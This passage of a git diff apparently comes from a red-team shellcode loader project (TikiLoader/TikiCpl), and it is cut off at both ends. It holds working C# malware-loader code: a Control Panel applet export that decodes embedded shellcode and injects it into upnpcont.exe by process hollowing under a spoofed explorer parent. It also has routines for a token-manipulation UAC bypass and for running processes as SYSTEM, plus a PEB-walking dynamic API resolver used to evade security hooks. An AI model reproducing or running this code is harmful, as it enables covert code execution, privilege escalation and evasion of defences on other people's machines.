proc.Id; - } - } - - return pid; - } - - [DllExport("CPlApplet", CallingConvention = CallingConvention.StdCall)] - public unsafe static IntPtr CPlApplet() - { - string scode = ExtractResource("TikiCpl.Resource.txt"); - byte[] blob = Convert.FromBase64String(scode); - byte[] shellcode = Generic.DecompressShellcode(blob); - - if (shellcode.Length == 0) return IntPtr.Zero; - int ppid = FindProcessPid("explorer"); - if (ppid == 0) - { - Environment.Exit(1); - } - - try - { - var hollower = new Hollower(); - // Change the binary you want to inject shellcode into - string binary = @"C:\windows\system32\upnpcont.exe"; - hollower.Hollow(binary, shellcode, ppid); - return IntPtr.Zero; - } - catch - { - return IntPtr.Zero; - } - - } -} \ No newline at end of file diff --git a/TikiCpl/Properties/AssemblyInfo.cs b/TikiCpl/Properties/AssemblyInfo.cs deleted file mode 100644 index f3d4024..0000000 --- a/TikiCpl/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("TikiScript")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TikiScript")] -[assembly: AssemblyCopyright("Copyright © 2019")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("2ef9d8f7-6b77-4b75-822b-6a53a922c30f")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/TikiCpl/Resource.txt b/TikiCpl/Resource.txt deleted file mode 100644 index 5f28270..0000000 --- a/TikiCpl/Resource.txt +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/TikiCpl/TikiCpl.csproj b/TikiCpl/TikiCpl.csproj deleted file mode 100644 index 23e710a..0000000 --- a/TikiCpl/TikiCpl.csproj +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - Debug - AnyCPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9} - Library - TikiCpl - TikiCpl - v4.5 - 512 - true - - - - - x86 - true - full - true - bin\Debug\ - - - prompt - 4 - false - true - - - x86 - none - true - bin\Release\ - TRACE - prompt - 4 - true - - - - - - - ..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll - - - ..\packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll - False - - - - - - - - - - - - - - - - - - - - - - {806c6c72-4adc-43d9-b028-6872fa48d334} - TikiLoader - - - - - - - - - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - - - - \ No newline at end of file diff --git a/TikiCpl/packages.config b/TikiCpl/packages.config deleted file mode 100644 index d043efc..0000000 --- a/TikiCpl/packages.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiLoader/Data.cs b/TikiLoader/Data.cs new file mode 100644 index 0000000..6dd256a --- /dev/null +++ b/TikiLoader/Data.cs @@ -0,0 +1,190 @@ +using System; +using System.Runtime.InteropServices; + +namespace TikiLoader +{ + public static class Data + { + public static class Win32 + { + public static class Kernel32 + { + public const uint MEM_COMMIT = 0x1000; + public const uint MEM_RESERVE = 0x2000; + public const uint MEM_RELEASE = 0x8000; + + public const uint PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; + public const uint PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x20007; + + public const long BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000; + + public const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; + + [Flags] + public enum STARTF : uint + { + STARTF_USESHOWWINDOW = 0x00000001, + } + + [StructLayout(LayoutKind.Sequential)] + public struct STARTUPINFO + { + public uint cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public uint dwX; + public uint dwY; + public uint dwXSize; + public uint dwYSize; + public uint dwXCountChars; + public uint dwYCountChars; + public uint dwFillAttribute; + public uint dwFlags; + public ushort wShowWindow; + public ushort cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + }; + + [StructLayout(LayoutKind.Sequential)] + public struct STARTUPINFOEX + { + public STARTUPINFO Startupinfo; + public IntPtr lpAttributeList; + } + + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public uint dwProcessId; + public uint dwThreadId; + }; + } + + public static class WinNT + { + public const uint INFINITE = 0xFFFFFFFF; + + public const uint PAGE_READWRITE = 0x04; + public const uint PAGE_EXECUTE_READ = 0x20; + + public enum ACCESS_MASK : uint + { + MAXIMUM_ALLOWED = 0x02000000, + }; + } + + public static class WinBase + { + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_ATTRIBUTES + { + uint nLength; + IntPtr lpSecurityDescriptor; + bool bInheritHandle; + }; + } + } + + public static class Native + { + [StructLayout(LayoutKind.Sequential)] + public struct UNICODE_STRING + { + public ushort Length; + public ushort MaximumLength; + public IntPtr Buffer; + } + + public struct PROCESS_BASIC_INFORMATION + { + public IntPtr ExitStatus; + public IntPtr PebBaseAddress; + public IntPtr AffinityMask; + public IntPtr BasePriority; + public UIntPtr UniqueProcessId; + public int InheritedFromUniqueProcessId; + + public int Size => Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); + } + + public enum PROCESSINFOCLASS : int + { + ProcessBasicInformation = 0 + } + + [StructLayout(LayoutKind.Sequential)] + public struct LIST_ENTRY + { + public IntPtr Flink; + public IntPtr Blink; + } + } + + public static class PE + { + [StructLayout(LayoutKind.Explicit)] + public struct ApiSetNamespace + { + [FieldOffset(0x0C)] + public int Count; + + [FieldOffset(0x10)] + public int EntryOffset; + } + + [StructLayout(LayoutKind.Explicit)] + public struct ApiSetNamespaceEntry + { + [FieldOffset(0x04)] + public int NameOffset; + + [FieldOffset(0x08)] + public int NameLength; + + [FieldOffset(0x10)] + public int ValueOffset; + + [FieldOffset(0x14)] + public int ValueLength; + } + + [StructLayout(LayoutKind.Explicit)] + public struct ApiSetValueEntry + { + [FieldOffset(0x00)] + public int Flags; + + [FieldOffset(0x04)] + public int NameOffset; + + [FieldOffset(0x08)] + public int NameCount; + + [FieldOffset(0x0C)] + public int ValueOffset; + + [FieldOffset(0x10)] + public int ValueCount; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LDR_DATA_TABLE_ENTRY + { + public Native.LIST_ENTRY InLoadOrderLinks; + public Native.LIST_ENTRY InMemoryOrderLinks; + public Native.LIST_ENTRY InInitializationOrderLinks; + public IntPtr DllBase; + public IntPtr EntryPoint; + public uint SizeOfImage; + public Native.UNICODE_STRING FullDllName; + public Native.UNICODE_STRING BaseDllName; + } + } + } +} \ No newline at end of file diff --git a/TikiLoader/Delegates.cs b/TikiLoader/Delegates.cs new file mode 100644 index 0000000..2737bca --- /dev/null +++ b/TikiLoader/Delegates.cs @@ -0,0 +1,119 @@ +using System; +using System.Runtime.InteropServices; + +namespace TikiLoader +{ + public struct Delegates + { + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate bool InitializeProcThreadAttributeList( + IntPtr lpAttributeList, + int dwAttributeCount, + int dwFlags, + ref IntPtr lpSize); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate bool UpdateProcThreadAttribute( + IntPtr lpAttributeList, + uint dwFlags, + IntPtr attribute, + IntPtr lpValue, + IntPtr cbSize, + IntPtr lpPreviousValue, + IntPtr lpReturnSize); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate bool DeleteProcThreadAttributeList( + IntPtr lpAttributeList); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate bool CreateProcessA( + string lpApplicationName, + string lpCommandLine, + ref Data.Win32.WinBase.SECURITY_ATTRIBUTES lpProcessAttributes, + ref Data.Win32.WinBase.SECURITY_ATTRIBUTES lpThreadAttributes, + bool bInheritHandles, + uint dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + ref Data.Win32.Kernel32.STARTUPINFOEX lpStartupInfoEx, + out Data.Win32.Kernel32.PROCESS_INFORMATION lpProcessInformation); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate void RtlZeroMemory( + IntPtr destination, + int length); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtQueryInformationProcess( + IntPtr processHandle, + Data.Native.PROCESSINFOCLASS processInformationClass, + IntPtr processInformation, + int processInformationLength, + ref uint returnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate void RtlInitUnicodeString( + ref Data.Native.UNICODE_STRING destinationString, + [MarshalAs(UnmanagedType.LPWStr)] + string sourceString); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint LdrLoadDll( + IntPtr pathToFile, + uint dwFlags, + ref Data.Native.UNICODE_STRING moduleFileName, + ref IntPtr moduleHandle); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtAllocateVirtualMemory( + IntPtr processHandle, + ref IntPtr baseAddress, + IntPtr zeroBits, + ref IntPtr regionSize, + uint allocationType, + uint protect); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtWriteVirtualMemory( + IntPtr processHandle, + IntPtr baseAddress, + IntPtr buffer, + uint bufferLength, + ref uint bytesWritten); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtFreeVirtualMemory( + IntPtr processHandle, + ref IntPtr baseAddress, + ref IntPtr regionSize, + uint freeType); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtCreateThreadEx( + out IntPtr threadHandle, + Data.Win32.WinNT.ACCESS_MASK desiredAccess, + IntPtr objectAttributes, + IntPtr processHandle, + IntPtr startAddress, + IntPtr parameter, + bool createSuspended, + int stackZeroBits, + int sizeOfStack, + int maximumStackSize, + IntPtr attributeList); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint WaitForSingleObject( + IntPtr hHandle, + uint dwMilliseconds); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtProtectVirtualMemory( + IntPtr processHandle, + ref IntPtr baseAddress, + ref IntPtr regionSize, + uint newProtect, + ref uint oldProtect); + } +} \ No newline at end of file diff --git a/TikiLoader/Enums.cs b/TikiLoader/Enums.cs deleted file mode 100644 index b7efa46..0000000 --- a/TikiLoader/Enums.cs +++ /dev/null @@ -1,87 +0,0 @@ -using System; - -namespace TikiLoader -{ - public class Enums - { - public enum ThreadInformationClass : uint - { - ThreadBasicInformation, - ThreadTimes, - ThreadPriority, - ThreadBasePriority, - ThreadAffinityMask, - ThreadImpersonationToken, - ThreadDescriptorTableEntry, - ThreadEnableAlignmentFaultFixup, - ThreadEventPair, - ThreadQuerySetWin32StartAddress, - ThreadZeroTlsCell, // 10 - ThreadPerformanceCount, - ThreadAmILastThread, - ThreadIdealProcessor, - ThreadPriorityBoost, - ThreadSetTlsArrayAddress, - ThreadIsIoPending, - ThreadHideFromDebugger, - ThreadBreakOnTermination, - ThreadSwitchLegacyState, - ThreadIsTerminated, // 20 - ThreadLastSystemCall, - ThreadIoPriority, - ThreadCycleTime, - ThreadPagePriority, - ThreadActualBasePriority, - ThreadTebInformation, - ThreadCSwitchMon, - MaxThreadInfoClass - } - - [Flags] - public enum CreationFlags - { - CreateSuspended = 0x00000004, - DetachedProcesds = 0x00000008, - CreateNoWindow = 0x08000000, - ExtendedStartupInfoPresent = 0x00080000 - } - - [Flags] - public enum LogonFlags - { - LogonWithProfile = 0x00000001, - LogonNetCredentialsOnly = 0x00000002 - } - - [Flags] - public enum AllocationType - { - Commit = 0x1000, - Reserve = 0x2000, - Decommit = 0x4000, - Release = 0x8000, - Reset = 0x80000, - Physical = 0x400000, - TopDown = 0x100000, - WriteWatch = 0x200000, - LargePages = 0x20000000, - SecCommit = 0x08000000 - } - - [Flags] - public enum MemoryProtection - { - Execute = 0x10, - ExecuteRead = 0x20, - ExecuteReadWrite = 0x40, - ExecuteWriteCopy = 0x80, - NoAccess = 0x01, - ReadOnly = 0x02, - ReadWrite = 0x04, - WriteCopy = 0x08, - GuardModifierflag = 0x100, - NoCacheModifierflag = 0x200, - WriteCombineModifierflag = 0x400 - } - } -} \ No newline at end of file diff --git a/TikiLoader/Generic.cs b/TikiLoader/Generic.cs index 158d656..02f71f5 100644 --- a/TikiLoader/Generic.cs +++ b/TikiLoader/Generic.cs @@ -1,202 +1,272 @@ using System; -using System.IO; +using System.Collections.Generic; using System.Diagnostics; -using System.IO.Compression; +using System.IO; using System.Runtime.InteropServices; -using static TikiLoader.Imports; -using static TikiLoader.Enums; -using static TikiLoader.Structs; - namespace TikiLoader { - public class Generic + public static class Generic { - private const int ProcThreadAttributeParentProcess = 0x00020000; - - public static PROCESS_INFORMATION StartProcess(string targetProcess, int parentProcessId) + public static object DynamicApiInvoke(string dllName, string functionName, Type functionDelegateType, ref object[] parameters, bool canLoadFromDisk = false, bool resolveForwards = true) { - STARTUPINFOEX sInfoEx = new STARTUPINFOEX(); - PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); + var pFunction = GetLibraryAddress(dllName, functionName, canLoadFromDisk, resolveForwards); + return DynamicFunctionInvoke(pFunction, functionDelegateType, ref parameters); + } + + private static object DynamicFunctionInvoke(IntPtr functionPointer, Type functionDelegateType, ref object[] parameters) + { + var funcDelegate = Marshal.GetDelegateForFunctionPointer(functionPointer, functionDelegateType); + return funcDelegate.DynamicInvoke(parameters); + } + + private static IntPtr GetLibraryAddress(string dllName, string functionName, bool canLoadFromDisk = false, bool resolveForwards = true) + { + var hModule = GetLoadedModuleAddress(dllName); + + if (hModule == IntPtr.Zero && canLoadFromDisk) + { + hModule = LoadModuleFromDisk(dllName); + + if (hModule == IntPtr.Zero) + { + throw new FileNotFoundException(dllName + ", unable to find the specified file."); + } + } + else if (hModule == IntPtr.Zero) + { + throw new DllNotFoundException(dllName + ", Dll was not found."); + } - sInfoEx.StartupInfo.cb = (uint)Marshal.SizeOf(sInfoEx); - IntPtr lpValue = IntPtr.Zero; + return GetExportAddress(hModule, functionName, resolveForwards); + } + + private static IntPtr GetLoadedModuleAddress(string dllName) + { + var modules = Process.GetCurrentProcess().Modules; + + foreach (ProcessModule module in modules) + if (module.FileName.ToLower().EndsWith(dllName.ToLower())) + return module.BaseAddress; + return IntPtr.Zero; + } + + public static IntPtr LoadModuleFromDisk(string dllPath) + { + var uModuleName = new Data.Native.UNICODE_STRING(); + Native.RtlInitUnicodeString(ref uModuleName, dllPath); + + var hModule = IntPtr.Zero; + _ = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); + + return hModule; + } + + public static IntPtr GetExportAddress(IntPtr moduleBase, string exportName, bool resolveForwards = true) + { + var functionPtr = IntPtr.Zero; + try { - SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); - SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); - pSec.nLength = Marshal.SizeOf(pSec); - tSec.nLength = Marshal.SizeOf(tSec); + // Traverse the PE header in memory + var peHeader = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + 0x3C)); + var optHeader = moduleBase.ToInt64() + peHeader + 0x18; + var magic = Marshal.ReadInt16((IntPtr)optHeader); + long pExport = 0; + + if (magic == 0x010b) pExport = optHeader + 0x60; + else pExport = optHeader + 0x70; - CreationFlags flags = CreationFlags.CreateSuspended | CreationFlags.DetachedProcesds | CreationFlags.CreateNoWindow | CreationFlags.ExtendedStartupInfoPresent; - - IntPtr lpSize = IntPtr.Zero; - - InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); - sInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); - InitializeProcThreadAttributeList(sInfoEx.lpAttributeList, 1, 0, ref lpSize); - - IntPtr parentHandle = Process.GetProcessById(parentProcessId).Handle; - lpValue = Marshal.AllocHGlobal(IntPtr.Size); - Marshal.WriteIntPtr(lpValue, parentHandle); - - UpdateProcThreadAttribute(sInfoEx.lpAttributeList, 0, (IntPtr)ProcThreadAttributeParentProcess, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); - - CreateProcess(targetProcess, null, ref pSec, ref tSec, false, flags, IntPtr.Zero, null, ref sInfoEx, out pInfo); - - return pInfo; + // Read -> IMAGE_EXPORT_DIRECTORY + var exportRva = Marshal.ReadInt32((IntPtr)pExport); + var ordinalBase = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x10)); + var numberOfNames = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x18)); + var functionsRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x1C)); + var namesRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x20)); + var ordinalsRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + exportRva + 0x24)); + // Loop the array of export name RVA's + for (var i = 0; i < numberOfNames; i++) + { + var functionName = Marshal.PtrToStringAnsi((IntPtr)(moduleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + namesRva + i * 4)))); + + if (string.IsNullOrWhiteSpace(functionName)) continue; + if (!functionName.Equals(exportName, StringComparison.OrdinalIgnoreCase)) continue; + + var functionOrdinal = Marshal.ReadInt16((IntPtr)(moduleBase.ToInt64() + ordinalsRva + i * 2)) + ordinalBase; + var functionRva = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + functionsRva + (4 * (functionOrdinal - ordinalBase)))); + functionPtr = (IntPtr)((long)moduleBase + functionRva); + + if (resolveForwards) functionPtr = GetForwardAddress(functionPtr); + break; + } } - finally + catch { - DeleteProcThreadAttributeList(sInfoEx.lpAttributeList); - Marshal.FreeHGlobal(sInfoEx.lpAttributeList); - Marshal.FreeHGlobal(lpValue); + throw new InvalidOperationException("Failed to parse module exports."); } - } - public static PROCESS_INFORMATION StartProcessWOPid(string targetProcess) - { - STARTUPINFOEX sInfoEx = new STARTUPINFOEX(); - PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); - - sInfoEx.StartupInfo.cb = (uint)Marshal.SizeOf(sInfoEx); - IntPtr lpValue = IntPtr.Zero; - - SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); - SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); - pSec.nLength = Marshal.SizeOf(pSec); - tSec.nLength = Marshal.SizeOf(tSec); - - CreationFlags flags = CreationFlags.CreateSuspended | CreationFlags.DetachedProcesds | CreationFlags.CreateNoWindow; - - CreateProcess(targetProcess, null, ref pSec, ref tSec, false, flags, IntPtr.Zero, null, ref sInfoEx, out pInfo); - - return pInfo; - - } - - public static PROCESS_INFORMATION StartProcessAs(string path, string domain, string username, string password) - { - STARTUPINFO startInfo = new STARTUPINFO(); - PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION(); - - CreationFlags flags = CreationFlags.CreateSuspended | CreationFlags.CreateNoWindow; - CreateProcessWithLogonW(username, domain, password, LogonFlags.LogonWithProfile, path, "", flags, (uint)0, @"C:\Windows\System32", ref startInfo, out procInfo); - - return procInfo; - } - - public static PROCESS_INFORMATION StartElevatedProcess(string binary, [Optional]int elevatedPID) - { - IntPtr hProcess = IntPtr.Zero; - - if (elevatedPID > 0) + if (functionPtr == IntPtr.Zero) { - hProcess = OpenProcess(0x00001000, false, elevatedPID); + throw new MissingMethodException(exportName + ", export not found."); + } + + return functionPtr; + } + + private static IntPtr GetForwardAddress(IntPtr exportAddress, bool canLoadFromDisk = false) + { + var functionPtr = exportAddress; + + try + { + // Assume it is a forward. If it is not, we will get an error + var forwardNames = Marshal.PtrToStringAnsi(functionPtr); + if (string.IsNullOrWhiteSpace(forwardNames)) return functionPtr; + + var values = forwardNames.Split('.'); + + if (values.Length > 1) + { + var forwardModuleName = values[0]; + var forwardExportName = values[1]; + + // Check if it is an API Set mapping + var apiSet = GetApiSetMapping(); + var lookupKey = forwardModuleName.Substring(0, forwardModuleName.Length - 2) + ".dll"; + + if (apiSet.ContainsKey(lookupKey)) forwardModuleName = apiSet[lookupKey]; + else forwardModuleName += ".dll"; + + var hModule = GetPebLdrModuleEntry(forwardModuleName); + + if (hModule == IntPtr.Zero && canLoadFromDisk) + hModule = LoadModuleFromDisk(forwardModuleName); + + if (hModule != IntPtr.Zero) + functionPtr = GetExportAddress(hModule, forwardExportName); + } + } + catch + { + // Do nothing, it was not a forward + } + + return functionPtr; + } + + public static IntPtr GetPebLdrModuleEntry(string dllName) + { + // Get _PEB pointer + var pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1)); + + // Set function variables + uint ldrDataOffset = 0; + uint inLoadOrderModuleListOffset = 0; + + if (IntPtr.Size == 4) + { + ldrDataOffset = 0xc; + inLoadOrderModuleListOffset = 0xC; } else { - SHELLEXECUTEINFO shellInfo = new SHELLEXECUTEINFO(); - - shellInfo.cbSize = Marshal.SizeOf(shellInfo); - shellInfo.fMask = 0x40; - shellInfo.lpFile = "wusa.exe"; - shellInfo.nShow = 0x0; - - ShellExecuteEx(ref shellInfo); - - hProcess = shellInfo.hProcess; + ldrDataOffset = 0x18; + inLoadOrderModuleListOffset = 0x10; } - IntPtr hToken = IntPtr.Zero; - OpenProcessToken(hProcess, 0x02000000, ref hToken); + // Get module InLoadOrderModuleList -> _LIST_ENTRY + var pebLdrData = Marshal.ReadIntPtr((IntPtr)((ulong)pbi.PebBaseAddress + ldrDataOffset)); + var pInLoadOrderModuleList = (IntPtr)((ulong)pebLdrData + inLoadOrderModuleListOffset); + var le = (Data.Native.LIST_ENTRY)Marshal.PtrToStructure(pInLoadOrderModuleList, typeof(Data.Native.LIST_ENTRY)); - IntPtr hNewToken = IntPtr.Zero; - SECURITY_ATTRIBUTES secAttribs = new SECURITY_ATTRIBUTES(); - - DuplicateTokenEx(hToken, 0xf01ff, ref secAttribs, 2, 1, ref hNewToken); - - SID_IDENTIFIER_AUTHORITY sia = new SID_IDENTIFIER_AUTHORITY(); - sia.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 }; - - IntPtr pSID = IntPtr.Zero; - AllocateAndInitializeSid(ref sia, 1, 0x2000, 0, 0, 0, 0, 0, 0, 0, ref pSID); - - SID_AND_ATTRIBUTES saa = new SID_AND_ATTRIBUTES(); - saa.Sid = pSID; - saa.Attributes = 0x20; - - TOKEN_MANDATORY_LABEL tml = new TOKEN_MANDATORY_LABEL(); - tml.Label = saa; - int tmlSize = Marshal.SizeOf(tml); - NtSetInformationToken(hNewToken, 25, ref tml, tmlSize); - - IntPtr luaToken = IntPtr.Zero; - NtFilterToken(hNewToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref luaToken); - - hNewToken = IntPtr.Zero; - secAttribs = new SECURITY_ATTRIBUTES(); - - DuplicateTokenEx(luaToken, 0xc, ref secAttribs, 2, 2, ref hNewToken); - - ImpersonateLoggedOnUser(hNewToken); - - STARTUPINFO sInfo = new STARTUPINFO(); - PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); - - CreateProcessWithLogonW("xxx", "xxx", "xxx", LogonFlags.LogonNetCredentialsOnly, binary, "", CreationFlags.CreateSuspended, 0, @"C:\Windows\System32", ref sInfo, out pInfo); - - if (elevatedPID == 0) - TerminateProcess(hProcess, 1); - - return pInfo; - } - - public static PROCESS_INFORMATION StartProcessAsSystem(string binary, int duplicatePid) - { - IntPtr hProcess = OpenProcess(0x00001000, false, duplicatePid); - - IntPtr hToken = IntPtr.Zero; - OpenProcessToken(hProcess, 0x02000000, ref hToken); - - IntPtr hNewToken = IntPtr.Zero; - SECURITY_ATTRIBUTES secAttribs = new SECURITY_ATTRIBUTES(); - DuplicateTokenEx(hToken, 0xf01ff, ref secAttribs, 2, 1, ref hNewToken); - - STARTUPINFO sInfo = new STARTUPINFO(); - PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); - - SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); - SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); - - CreateProcessAsUser(hNewToken, binary, "", ref pSec, ref tSec, false, CreationFlags.CreateSuspended, IntPtr.Zero, @"C:\Windows\System32", ref sInfo, out pInfo); - - return pInfo; - } - - public static byte[] DecompressShellcode(byte[] gzip) - { - using (GZipStream stream = new GZipStream(new MemoryStream(gzip), CompressionMode.Decompress)) + // Loop entries + var flink = le.Flink; + var hModule = IntPtr.Zero; + var dte = (Data.PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(Data.PE.LDR_DATA_TABLE_ENTRY)); + while (dte.InLoadOrderLinks.Flink != le.Blink) { - const int size = 4096; - byte[] buffer = new byte[size]; - using (MemoryStream memory = new MemoryStream()) - { - int count = 0; - do - { - count = stream.Read(buffer, 0, size); - if (count > 0) - { - memory.Write(buffer, 0, count); - } - } - while (count > 0); - return memory.ToArray(); - } + // Match module name + var fullName = Marshal.PtrToStringUni(dte.FullDllName.Buffer); + if (string.IsNullOrWhiteSpace(fullName)) continue; + + if (fullName.EndsWith(dllName, StringComparison.OrdinalIgnoreCase)) + hModule = dte.DllBase; + + // Move Ptr + flink = dte.InLoadOrderLinks.Flink; + dte = (Data.PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(Data.PE.LDR_DATA_TABLE_ENTRY)); } + + return hModule; + } + + private static Dictionary GetApiSetMapping() + { + var pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1)); + var apiSetMapOffset = IntPtr.Size == 4 ? (uint)0x38 : 0x68; + + // Create mapping dictionary + var apiSetDict = new Dictionary(); + + var pApiSetNamespace = Marshal.ReadIntPtr((IntPtr)((ulong)pbi.PebBaseAddress + apiSetMapOffset)); + var apiSetNamespace = (Data.PE.ApiSetNamespace)Marshal.PtrToStructure(pApiSetNamespace, typeof(Data.PE.ApiSetNamespace)); + + for (var i = 0; i < apiSetNamespace.Count; i++) + { + var setEntry = new Data.PE.ApiSetNamespaceEntry(); + + var pSetEntry = (IntPtr)((ulong)pApiSetNamespace + (ulong)apiSetNamespace.EntryOffset + (ulong)(i * Marshal.SizeOf(setEntry))); + setEntry = (Data.PE.ApiSetNamespaceEntry)Marshal.PtrToStructure(pSetEntry, typeof(Data.PE.ApiSetNamespaceEntry)); + + var apiSetEntryName = Marshal.PtrToStringUni((IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.NameOffset), setEntry.NameLength / 2); + var apiSetEntryKey = apiSetEntryName.Substring(0, apiSetEntryName.Length - 2) + ".dll" ; // Remove the patch number and add .dll + + var setValue = new Data.PE.ApiSetValueEntry(); + var pSetValue = IntPtr.Zero; + + switch (setEntry.ValueLength) + { + // If there is only one host, then use it + case 1: + pSetValue = (IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.ValueOffset); + break; + + case > 1: + { + // Loop through the hosts until we find one that is different from the key, if available + for (var j = 0; j < setEntry.ValueLength; j++) + { + var host = (IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.ValueOffset + (ulong)Marshal.SizeOf(setValue) * (ulong)j); + if (Marshal.PtrToStringUni(host) != apiSetEntryName) + pSetValue = (IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.ValueOffset + (ulong)Marshal.SizeOf(setValue) * (ulong)j); + } + + // If there is not one different from the key, then just use the key and hope that works + if (pSetValue == IntPtr.Zero) + pSetValue = (IntPtr)((ulong)pApiSetNamespace + (ulong)setEntry.ValueOffset); + + break; + } + } + + // Get the host DLL's name from the entry + setValue = (Data.PE.ApiSetValueEntry)Marshal.PtrToStructure(pSetValue, typeof(Data.PE.ApiSetValueEntry)); + + var apiSetValue = string.Empty; + if (setValue.ValueCount != 0) + { + var pValue = (IntPtr)((ulong)pApiSetNamespace + (ulong)setValue.ValueOffset); + apiSetValue = Marshal.PtrToStringUni(pValue, setValue.ValueCount / 2); + } + + // Add pair to dict + apiSetDict.Add(apiSetEntryKey, apiSetValue); + } + + // Return dict + return apiSetDict; } } } \ No newline at end of file diff --git a/TikiLoader/Hollower.cs b/TikiLoader/Hollower.cs deleted file mode 100644 index e3ad6da..0000000 --- a/TikiLoader/Hollower.cs +++ /dev/null @@ -1,313 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; - -using static TikiLoader.Imports; -using static TikiLoader.Structs; -using static TikiLoader.Enums; -using static TikiLoader.Generic; - -namespace TikiLoader -{ - public class Hollower - { - private const int AttributeSize = 24; - private const ulong PatchSize = 0x10; - - IntPtr section_; - IntPtr localmap_; - IntPtr remotemap_; - IntPtr localsize_; - IntPtr remotesize_; - IntPtr pModBase_; - IntPtr pEntry_; - uint rvaEntryOffset_; - uint size_; - byte[] inner_; - - private uint round_to_page(uint size) - { - SYSTEM_INFO info = new SYSTEM_INFO(); - GetSystemInfo(ref info); - return (info.dwPageSize - size % info.dwPageSize) + size; - } - - private bool nt_success(long v) - { - return (v >= 0); - } - - private IntPtr 